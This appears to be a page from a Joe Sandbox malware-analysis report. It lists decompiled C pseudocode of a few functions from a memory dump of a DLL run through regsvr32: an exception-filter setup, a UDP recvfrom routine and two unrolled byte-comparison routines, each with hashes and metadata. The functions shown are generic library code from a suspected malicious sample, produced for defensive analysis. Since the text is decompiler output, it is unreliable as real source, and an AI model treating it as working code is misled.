Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e9ea1c9e954d40bf421bd01099b490e8a12a05a626fb39da3dad4e443b19b0f
Instruction ID: 387a2a710324106c5c2e9ba8f0dac284bfb83953cc403e56f04fca2c0ded1ab9
Opcode Fuzzy Hash: 0e9ea1c9e954d40bf421bd01099b490e8a12a05a626fb39da3dad4e443b19b0f
Instruction Fuzzy Hash: 71F0C935504209AAFF01EF61CC489AE7BA9EF043D4B10C026FC19D5068DB35DA559BA1

Uniqueness

Uniqueness Score: -1.00%

Function 1001FC43, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E1001FC43(void* __eax, void* __ebx, void* __edx) {
				_Unknown_base(*)()* _t8;

				 *((intOrPtr*)(__edx + __ebx - 1)) =  *((intOrPtr*)(__edx + __ebx - 1)) + __edx;
				_t8 = SetUnhandledExceptionFilter(E1001BD6F());
				 *0x1005b670 = 0;
				return _t8;
			}

0x1001fc48
0x1001fc58
0x1001fc5e
0x1001fc65

APIs

__decode_pointer.LIBCMT ref: 1001FC51

Part of subcall function 1001BD6F: TlsGetValue.KERNEL32(?,1001C0FD,00000000,00000000,10017A84,00000000,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840), ref: 1001BD7C
Part of subcall function 1001BD6F: TlsGetValue.KERNEL32(00000006,?,1001C0FD,00000000,00000000,10017A84,00000000,?,?,00000001,?,?,10017AE8,00000001), ref: 1001BD93

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001FC58

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Value$ExceptionFilterUnhandled__decode_pointer
String ID:
API String ID: 1958600898-0
Opcode ID: c0118062e478c14860ac704cd26963d59993939b078219122e56b5b05da27951
Instruction ID: 8c383471f53841a55e0fcdb182c1f4564aa38491823c170ddba15b1e5c66fe32
Opcode Fuzzy Hash: c0118062e478c14860ac704cd26963d59993939b078219122e56b5b05da27951
Instruction Fuzzy Hash: E0C04C59818ED49AE715DF745C9D70D7F14E712508FD40589D480851A2DE6CA049C931

Uniqueness

Uniqueness Score: -1.00%

Function 100012D0, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E100012D0(intOrPtr __ecx, void* _a4) {
				char _v8;
				signed int _v12;
				char _v20;
				void _v1044;
				intOrPtr _v1048;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t26;
				signed int _t41;

				_t19 =  *0x10057a08; // 0xe6b5ff6d
				_v12 = _t19 ^ _t41;
				_v1048 = __ecx;
				_v20 = 0;
				_v8 = 0x10;
				__imp__#17( &_v1044, 0x400, 0, _v1048 + 0x14,  &_v8);
				_v20 = _v1048;
				 *((char*)(_t41 + _v20 - 0x410)) = 0;
				memcpy(_a4,  &_v1044, 0x101 << 2);
				return E100167D5(_a4, _t26, _v12 ^ _t41, _v20,  &_v1044 + 0x202,  &_v1044,  *((intOrPtr*)(_v1048 + 0x24)));
			}

0x100012d9
0x100012e0
0x100012e5
0x100012eb
0x100012f2
0x1000131f
0x10001325
0x1000132b
0x10001341
0x10001355

APIs

recvfrom.WS2_32(?,?,00000400,00000000,?,00000010), ref: 1000131F

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: recvfrom
String ID:
API String ID: 846543921-0
Opcode ID: e3286800183b2fb084681865d01d3168ae5294563589533788e7953d9f8637e2
Instruction ID: bec5cb5057db5f544406cf49396100538fbf28fc5aa5dd8def6f1e45c3881569
Opcode Fuzzy Hash: e3286800183b2fb084681865d01d3168ae5294563589533788e7953d9f8637e2
Instruction Fuzzy Hash: 830112F5A0011C9FDB14CF58CD54BDEB7B8FF88314F4045A9E609A7241D7B4AA84CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 1001929D, Relevance: .4, Instructions: 384
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E1001929D(void* __eax, void* __ecx) {
				void* _t196;
				signed int _t197;
				void* _t200;
				signed char _t206;
				signed char _t207;
				signed char _t208;
				signed char _t210;
				signed char _t211;
				signed int _t216;
				signed int _t316;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t337;
				void* _t339;
				void* _t341;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t351;
				void* _t353;
				void* _t355;
				void* _t358;
				void* _t360;
				void* _t362;

				_t200 = __ecx;
				_t196 = __eax;
				if( *((intOrPtr*)(__eax - 0x1f)) ==  *((intOrPtr*)(__ecx - 0x1f))) {
					_t316 = 0;
					L17:
					if(_t316 != 0) {
						goto L1;
					}
					_t206 =  *(_t196 - 0x1b);
					if(_t206 ==  *(_t200 - 0x1b)) {
						_t316 = 0;
						L28:
						if(_t316 != 0) {
							goto L1;
						}
						_t207 =  *(_t196 - 0x17);
						if(_t207 ==  *(_t200 - 0x17)) {
							_t316 = 0;
							L39:
							if(_t316 != 0) {
								goto L1;
							}
							_t208 =  *(_t196 - 0x13);
							if(_t208 ==  *(_t200 - 0x13)) {
								_t316 = 0;
								L50:
								if(_t316 != 0) {
									goto L1;
								}
								if( *(_t196 - 0xf) ==  *(_t200 - 0xf)) {
									_t316 = 0;
									L61:
									if(_t316 != 0) {
										goto L1;
									}
									_t210 =  *(_t196 - 0xb);
									if(_t210 ==  *(_t200 - 0xb)) {
										_t316 = 0;
										L72:
										if(_t316 != 0) {
											goto L1;
										}
										_t211 =  *(_t196 - 7);
										if(_t211 ==  *(_t200 - 7)) {
											_t316 = 0;
											L83:
											if(_t316 != 0) {
												goto L1;
											}
											_t319 = ( *(_t196 - 3) & 0x000000ff) - ( *(_t200 - 3) & 0x000000ff);
											if(_t319 == 0) {
												L5:
												_t321 = ( *(_t196 - 2) & 0x000000ff) - ( *(_t200 - 2) & 0x000000ff);
												if(_t321 == 0) {
													L3:
													_t197 = ( *(_t196 - 1) & 0x000000ff) - ( *(_t200 - 1) & 0x000000ff);
													if(_t197 != 0) {
														_t197 = (0 | _t197 > 0x00000000) + (0 | _t197 > 0x00000000) - 1;
													}
													L2:
													return _t197;
												}
												_t216 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
												if(_t216 != 0) {
													L86:
													_t197 = _t216;
													goto L2;
												} else {
													goto L3;
												}
											}
											_t216 = (0 | _t319 > 0x00000000) + (0 | _t319 > 0x00000000) - 1;
											if(_t216 == 0) {
												goto L5;
											}
											goto L86;
										}
										_t323 = (_t211 & 0x000000ff) - ( *(_t200 - 7) & 0x000000ff);
										if(_t323 == 0) {
											L76:
											_t325 = ( *(_t196 - 6) & 0x000000ff) - ( *(_t200 - 6) & 0x000000ff);
											if(_t325 == 0) {
												L78:
												_t327 = ( *(_t196 - 5) & 0x000000ff) - ( *(_t200 - 5) & 0x000000ff);
												if(_t327 == 0) {
													L80:
													_t316 = ( *(_t196 - 4) & 0x000000ff) - ( *(_t200 - 4) & 0x000000ff);
													if(_t316 != 0) {
														_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
													}
													goto L83;
												}
												_t316 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
												if(_t316 != 0) {
													goto L1;
												}
												goto L80;
											}
											_t316 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L78;
										}
										_t316 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L76;
									}
									_t330 = (_t210 & 0x000000ff) - ( *(_t200 - 0xb) & 0x000000ff);
									if(_t330 == 0) {
										L65:
										_t332 = ( *(_t196 - 0xa) & 0x000000ff) - ( *(_t200 - 0xa) & 0x000000ff);
										if(_t332 == 0) {
											L67:
											_t334 = ( *(_t196 - 9) & 0x000000ff) - ( *(_t200 - 9) & 0x000000ff);
											if(_t334 == 0) {
												L69:
												_t316 = ( *(_t196 - 8) & 0x000000ff) - ( *(_t200 - 8) & 0x000000ff);
												if(_t316 != 0) {
													_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
												}
												goto L72;
											}
											_t316 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L69;
										}
										_t316 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L67;
									}
									_t316 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L65;
								}
								_t337 = ( *(_t196 - 0xf) & 0x000000ff) - ( *(_t200 - 0xf) & 0x000000ff);
								if(_t337 == 0) {
									L54:
									_t339 = ( *(_t196 - 0xe) & 0x000000ff) - ( *(_t200 - 0xe) & 0x000000ff);
									if(_t339 == 0) {
										L56:
										_t341 = ( *(_t196 - 0xd) & 0x000000ff) - ( *(_t200 - 0xd) & 0x000000ff);
										if(_t341 == 0) {
											L58:
											_t316 = ( *(_t196 - 0xc) & 0x000000ff) - ( *(_t200 - 0xc) & 0x000000ff);
											if(_t316 != 0) {
												_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											}
											goto L61;
										}
										_t316 = (0 | _t341 > 0x00000000) + (0 | _t341 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L58;
									}
									_t316 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L56;
								}
								_t316 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L54;
							}
							_t344 = (_t208 & 0x000000ff) - ( *(_t200 - 0x13) & 0x000000ff);
							if(_t344 == 0) {
								L43:
								_t346 = ( *(_t196 - 0x12) & 0x000000ff) - ( *(_t200 - 0x12) & 0x000000ff);
								if(_t346 == 0) {
									L45:
									_t348 = ( *(_t196 - 0x11) & 0x000000ff) - ( *(_t200 - 0x11) & 0x000000ff);
									if(_t348 == 0) {
										L47:
										_t316 = ( *(_t196 - 0x10) & 0x000000ff) - ( *(_t200 - 0x10) & 0x000000ff);
										if(_t316 != 0) {
											_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
										}
										goto L50;
									}
									_t316 = (0 | _t348 > 0x00000000) + (0 | _t348 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L47;
								}
								_t316 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L45;
							}
							_t316 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L43;
						}
						_t351 = (_t207 & 0x000000ff) - ( *(_t200 - 0x17) & 0x000000ff);
						if(_t351 == 0) {
							L32:
							_t353 = ( *(_t196 - 0x16) & 0x000000ff) - ( *(_t200 - 0x16) & 0x000000ff);
							if(_t353 == 0) {
								L34:
								_t355 = ( *(_t196 - 0x15) & 0x000000ff) - ( *(_t200 - 0x15) & 0x000000ff);
								if(_t355 == 0) {
									L36:
									_t316 = ( *(_t196 - 0x14) & 0x000000ff) - ( *(_t200 - 0x14) & 0x000000ff);
									if(_t316 != 0) {
										_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
									}
									goto L39;
								}
								_t316 = (0 | _t355 > 0x00000000) + (0 | _t355 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L36;
							}
							_t316 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L34;
						}
						_t316 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L32;
					}
					_t358 = (_t206 & 0x000000ff) - ( *(_t200 - 0x1b) & 0x000000ff);
					if(_t358 == 0) {
						L21:
						_t360 = ( *(_t196 - 0x1a) & 0x000000ff) - ( *(_t200 - 0x1a) & 0x000000ff);
						if(_t360 == 0) {
							L23:
							_t362 = ( *(_t196 - 0x19) & 0x000000ff) - ( *(_t200 - 0x19) & 0x000000ff);
							if(_t362 == 0) {
								L25:
								_t316 = ( *(_t196 - 0x18) & 0x000000ff) - ( *(_t200 - 0x18) & 0x000000ff);
								if(_t316 != 0) {
									_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
								}
								goto L28;
							}
							_t316 = (0 | _t362 > 0x00000000) + (0 | _t362 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L25;
						}
						_t316 = (0 | _t360 > 0x00000000) + (0 | _t360 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L23;
					}
					_t316 = (0 | _t358 > 0x00000000) + (0 | _t358 > 0x00000000) - 1;
					if(_t316 != 0) {
						goto L1;
					}
					goto L21;
				} else {
					__edx =  *(__ecx - 0x1f) & 0x000000ff;
					__esi =  *(__eax - 0x1f) & 0x000000ff;
					__esi = ( *(__eax - 0x1f) & 0x000000ff) - ( *(__ecx - 0x1f) & 0x000000ff);
					if(__esi == 0) {
						L10:
						__esi =  *(__eax - 0x1e) & 0x000000ff;
						__edx =  *(__ecx - 0x1e) & 0x000000ff;
						__esi = ( *(__eax - 0x1e) & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
						if(__esi == 0) {
							L12:
							__esi =  *(__eax - 0x1d) & 0x000000ff;
							__edx =  *(__ecx - 0x1d) & 0x000000ff;
							__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
							if(__esi == 0) {
								L14:
								__esi =  *(__eax - 0x1c) & 0x000000ff;
								__edx =  *(__ecx - 0x1c) & 0x000000ff;
								__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L17;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L14;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L12;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L10;
				}
				L1:
				_t197 = _t316;
				goto L2;
			}

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Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: bcf109f5de06b5c94f6bb42cf1b44ca8dbb3bfcebafd793729c585c81d35ca35
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: E0D15F73C0AAB30A8376C12D415862EEEE2AFC199531BC7E1DCD43F289D136DE8596D0

Uniqueness

Uniqueness Score: -1.00%

Function 10018E7D, Relevance: .4, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E10018E7D(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t204;
				signed char _t206;
				signed int _t211;
				signed int _t309;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t349;
				void* _t351;
				void* _t353;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t309 = 0;
					L15:
					if(_t309 != 0) {
						goto L1;
					}
					_t201 =  *(_t191 - 0x1a);
					if(_t201 ==  *(_t195 - 0x1a)) {
						_t309 = 0;
						L26:
						if(_t309 != 0) {
							goto L1;
						}
						_t202 =  *(_t191 - 0x16);
						if(_t202 ==  *(_t195 - 0x16)) {
							_t309 = 0;
							L37:
							if(_t309 != 0) {
								goto L1;
							}
							_t203 =  *(_t191 - 0x12);
							if(_t203 ==  *(_t195 - 0x12)) {
								_t309 = 0;
								L48:
								if(_t309 != 0) {
									goto L1;
								}
								_t204 =  *(_t191 - 0xe);
								if(_t204 ==  *(_t195 - 0xe)) {
									_t309 = 0;
									L59:
									if(_t309 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t309 = 0;
										L70:
										if(_t309 != 0) {
											goto L1;
										}
										_t206 =  *(_t191 - 6);
										if(_t206 ==  *(_t195 - 6)) {
											_t309 = 0;
											L81:
											if(_t309 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t312 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t312 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t192 = (0 | _t192 > 0x00000000) + (0 | _t192 > 0x00000000) - 1;
												}
												goto L3;
											}
											_t211 = (0 | _t312 > 0x00000000) + (0 | _t312 > 0x00000000) - 1;
											if(_t211 != 0) {
												_t192 = _t211;
												goto L3;
											}
											goto L4;
										}
										_t314 = (_t206 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t314 == 0) {
											L74:
											_t316 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t316 == 0) {
												L76:
												_t318 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t318 == 0) {
													L78:
													_t309 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t309 != 0) {
														_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
													}
													goto L81;
												}
												_t309 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
												if(_t309 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t309 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t309 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t321 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t321 == 0) {
										L63:
										_t323 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t323 == 0) {
											L65:
											_t325 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t325 == 0) {
												L67:
												_t309 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t309 != 0) {
													_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
												}
												goto L70;
											}
											_t309 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t309 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t309 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t328 = (_t204 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t328 == 0) {
									L52:
									_t330 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t330 == 0) {
										L54:
										_t332 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t332 == 0) {
											L56:
											_t309 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t309 != 0) {
												_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
											}
											goto L59;
										}
										_t309 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t309 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t309 = (0 | _t328 > 0x00000000) + (0 | _t328 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t335 = (_t203 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t335 == 0) {
								L41:
								_t337 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t337 == 0) {
									L43:
									_t339 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t339 == 0) {
										L45:
										_t309 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t309 != 0) {
											_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
										}
										goto L48;
									}
									_t309 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t309 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L43;
							}
							_t309 = (0 | _t335 > 0x00000000) + (0 | _t335 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t342 = (_t202 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t342 == 0) {
							L30:
							_t344 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t344 == 0) {
								L32:
								_t346 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t346 == 0) {
									L34:
									_t309 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t309 != 0) {
										_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
									}
									goto L37;
								}
								_t309 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t309 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t309 = (0 | _t342 > 0x00000000) + (0 | _t342 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t349 = (_t201 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t349 == 0) {
						L19:
						_t351 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t351 == 0) {
							L21:
							_t353 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t353 == 0) {
								L23:
								_t309 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t309 != 0) {
									_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								}
								goto L26;
							}
							_t309 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t309 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t309 = (0 | _t349 > 0x00000000) + (0 | _t349 > 0x00000000) - 1;
					if(_t309 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L15;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L12;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L10;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t309;
				goto L3;
			}

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Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
